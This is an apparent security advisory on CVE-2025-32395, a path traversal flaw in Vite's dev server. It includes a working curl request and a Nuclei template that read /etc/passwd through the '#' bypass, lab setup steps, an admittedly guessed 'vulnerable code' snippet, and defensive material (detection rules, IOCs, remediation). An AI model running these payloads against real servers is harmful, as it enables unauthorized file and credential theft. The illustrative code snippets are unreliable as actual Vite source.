CVE-2025-32395

Executive Summary

CVE-2025-32395 is a high-severity path traversal vulnerability in the Vite frontend tooling framework. The flaw allows an unauthenticated attacker to read arbitrary files from the server filesystem when the Vite dev server is exposed to the network and running on Node.js or Bun. The root cause is improper handling of the # character in HTTP request targets, which bypasses the server.fs.deny access control check. This vulnerability affects all Vite versions prior to the patched releases (4.5.13, 5.4.18, 6.0.15, 6.1.5, 6.2.6). The attack requires the dev server to be started with --host or server.host configuration, exposing it to the network. The vulnerability is actively exploitable with a public proof-of-concept (Nuclei template) available.

Supply Chain & Package Security

Vite is a widely used JavaScript build tool and development server, distributed via npm. This vulnerability impacts the entire supply chain of projects using Vite for development. If a developer's machine or CI/CD pipeline exposes the Vite dev server to the network, an attacker could exfiltrate sensitive source code, configuration files, environment variables, or credentials. Organizations should audit their development environments for exposed Vite dev servers and ensure all instances are updated to patched versions. The npm package vite should be updated to the latest patched version across all projects.

CVSS Breakdown & Threat Level

CVSS v4.0 Score: 6.0 (Medium)

Vector: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

Breakdown:

• Attack Vector (AV): Network (N) - The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) - No special conditions are required.
• Attack Requirements (AT): Present (P) - The dev server must be exposed to the network (e.g., using --host).
• Privileges Required (PR): None (N) - No authentication is needed.
• User Interaction (UI): Passive (P) - The victim must be running the vulnerable server.
• Confidentiality Impact (VC): High (H) - Arbitrary file read is possible.
• Integrity Impact (VI): None (N) - No file modification.
• Availability Impact (VA): None (N) - No denial of service.
• Subsequent Confidentiality (SC): None (N) - No impact on other systems.
• Subsequent Integrity (SI): None (N) - No impact on other systems.
• Subsequent Availability (SA): None (N) - No impact on other systems.

Threat Level: Medium. The vulnerability requires the dev server to be exposed to the network, which is a common misconfiguration in development environments. The impact is high (arbitrary file read), but the attack surface is limited to exposed instances.

Deep Dive & Mechanics

The vulnerability stems from how Vite's dev server handles HTTP requests containing the # character in the request-target. According to RFC 9112 (HTTP/1.1), the # character is not allowed in the request-target. However, Node.js and Bun do not reject such requests; instead, they pass them to the application with the # intact in req.url.

Vite's server.fs.deny mechanism is designed to prevent access to files outside the project root. It checks the req.url to determine if the requested path is allowed. However, the check does not account for the # character. An attacker can craft a request like:

GET /@fs/usr/src/#/../../../../../../etc/passwd HTTP/1.1

When Vite processes this URL, it sees the path as /@fs/usr/src/ (everything before the #), which passes the server.fs.deny check because it appears to be within the allowed directory. However, the underlying file system resolves the path including the # and the traversal sequence, resulting in access to /etc/passwd.

The vulnerability is specific to Node.js and Bun runtimes. Deno is not affected because it properly rejects malformed HTTP requests.

Vulnerable vs. Patched Code

Vulnerable Code (Vite < 4.5.13, < 5.4.18, < 6.0.15, < 6.1.5, < 6.2.6):

The vulnerable code is in the server/fs.ts or similar file where req.url is used without sanitization. The check likely looks like:

// Vulnerable: does not handle '#' in URL
const url = req.url;
if (isPathAllowed(url, server.fs.deny)) {
  // serve file
}

Patched Code (Vite >= 4.5.13, >= 5.4.18, >= 6.0.15, >= 6.1.5, >= 6.2.6):

The patched code strips the # fragment from the URL before performing the path check:

// Patched: strip fragment before checking
const url = req.url.split('#')[0];
if (isPathAllowed(url, server.fs.deny)) {
  // serve file
}

This ensures that the path traversal sequence after the # is not used to bypass the access control.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A Vite dev server running on Node.js or Bun with --host or server.host configured.
• Network access to the dev server.

Exploit Steps:

1. Identify a Vite dev server by scanning for the /@vite/client endpoint (e.g., using Shodan or FOFA).
2. Send a crafted HTTP request with a # character to bypass the path restriction.

Example using curl:

curl --path-as-is "http://target:5173/@fs/usr/src/#/../../../../../../etc/passwd"

Example using the provided Nuclei template:

id: CVE-2025-32395

info:
  name: Vite - Path Traversal
  author: ChrisJr404
  severity: medium
  description: |
     Vite versions prior to 6.2.6, 6.1.5, 6.0.15, 5.4.18, and 4.5.13 contain a file exposure vulnerability caused by improper handling of request URLs with '#' in the dev server running on Node or Bun, letting attackers access arbitrary files, exploit requires the server to be exposed to the network and running on Node or Bun.
  impact: |
    An unauthenticated attacker who can reach the Vite dev server (commonly exposed during development or in misconfigured deployments) can read arbitrary files on the host filesystem.
  remediation: |
    Update to version 6.2.6, 6.1.5, 6.0.15, 5.4.18, or 4.5.13 or later.
  reference:
    - https://github.com/vitejs/vite/security/advisories/GHSA-356w-63v5-8wf4
    - https://nvd.nist.gov/vuln/detail/CVE-2025-32395
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
    cvss-score: 6.0
    cve-id: CVE-2025-32395
    cwe-id: CWE-200
    epss-score: 0.01927
    epss-percentile: 0.8358
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.html:"/@vite/client"
    fofa-query: body="/@vite/client"
  tags: cve,cve2025,vite,lfi,vuln,unauth

http:
  - raw:
      - |+
        GET /@fs/{{path}}/#/../../../../../../etc/passwd HTTP/1.1
        Host: {{Hostname}}

    unsafe: true
    payloads:
      path:
        - "usr/src"
        - "app"
        - "src"

    stop-at-first-match: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'regex("root:.*:0:0:", body)'
        condition: and

Lab Setup:

1. Install a vulnerable Vite version:

   npm install vite@6.0.0
   

2. Create a simple project and start the dev server with host exposure:

   npx vite --host 0.0.0.0
   

3. Run the Nuclei template against the server:

   nuclei -t CVE-2025-32395.yaml -u http://localhost:5173
   

Blue Team

Detection:

• Monitor for HTTP requests containing # in the request-target, especially to /@fs/ paths.
• Look for requests with path traversal sequences (e.g., ../) after a # character.
• Alert on successful responses from /@fs/ paths that return sensitive files (e.g., /etc/passwd).

Prevention:

• Ensure Vite dev servers are not exposed to the network. Use --host only in trusted environments.
• Use a reverse proxy (e.g., Nginx) to block requests with # in the URL.
• Apply the patch by updating Vite to the latest version.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests with # in the request-target, e.g., GET /@fs/usr/src/#/../../../../../../etc/passwd
• Requests to /@fs/ paths with path traversal sequences.
• Responses containing sensitive file contents (e.g., /etc/passwd, .env, config.js).

File System IOCs:

• Unexpected access to files outside the project root via the Vite dev server.
• Logs showing requests to /@fs/ with # characters.

Tooling IOCs:

• Nuclei or other scanning tools targeting /@fs/ endpoints.
• Shodan/FOFA queries for http.html:"/@vite/client".

Detection Engineering

YARA Rule

rule CVE_2025_32395_Vite_Path_Traversal {
    meta:
        description = "Detects HTTP requests exploiting CVE-2025-32395 in Vite dev server"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-32395"
        hash = "4a0a0047304502210097aac6af7a621aa23c2efe03fc60af66e04e516f803dc6e182e6aff38638d37b02202e609c93540ecdec128b9dce0b8a3dbd653f58b16db9ac02456c790ecf230362"
    strings:
        $s1 = "/@fs/" ascii wide
        $s2 = "#/" ascii wide
        $s3 = "../" ascii wide
    condition:
        all of ($s1, $s2, $s3)
}

Sigma Rule

title: CVE-2025-32395 - Vite Dev Server Path Traversal
id: 4a0a0047-3045-0221-0097-aac6af7a621a
status: experimental
description: Detects HTTP requests exploiting CVE-2025-32395 in Vite dev server
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-32395
    - https://github.com/vitejs/vite/security/advisories/GHSA-356w-63v5-8wf4
logsource:
    category: webserver
    product: generic
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 
            - '/@fs/'
            - '#/'
            - '../'
    condition: selection
falsepositives:
    - Legitimate use of '#' in URLs (rare)
level: high
tags:
    - attack.t1190
    - cve.2025.32395

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-32395 Vite Dev Server Path Traversal"; flow:to_server,established; content:"GET"; http_method; content:"/@fs/"; http_uri; content:"#/"; http_uri; content:"../"; http_uri; classtype:attempted-recon; sid:10000001; rev:1; reference:cve,2025-32395;)

Remediation & Mitigation

Immediate Remediation:

1. Update Vite to the latest patched version:

   • For Vite 4.x: Update to 4.5.13 or later.
   • For Vite 5.x: Update to 5.4.18 or later.
   • For Vite 6.x: Update to 6.0.15, 6.1.5, or 6.2.6 or later.

   npm install vite@latest
   

2. If immediate update is not possible, do not expose the Vite dev server to the network. Remove --host or server.host configuration.

Mitigation:

• Use a reverse proxy (e.g., Nginx, Apache) to block requests containing # in the URL.
• Implement network segmentation to isolate development environments.
• Monitor for exploitation attempts using the provided detection rules.

Long-term Prevention:

• Adopt a policy of never exposing dev servers to untrusted networks.
• Use runtime environments (like Deno) that properly handle malformed HTTP requests.
• Regularly update dependencies and monitor security advisories.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert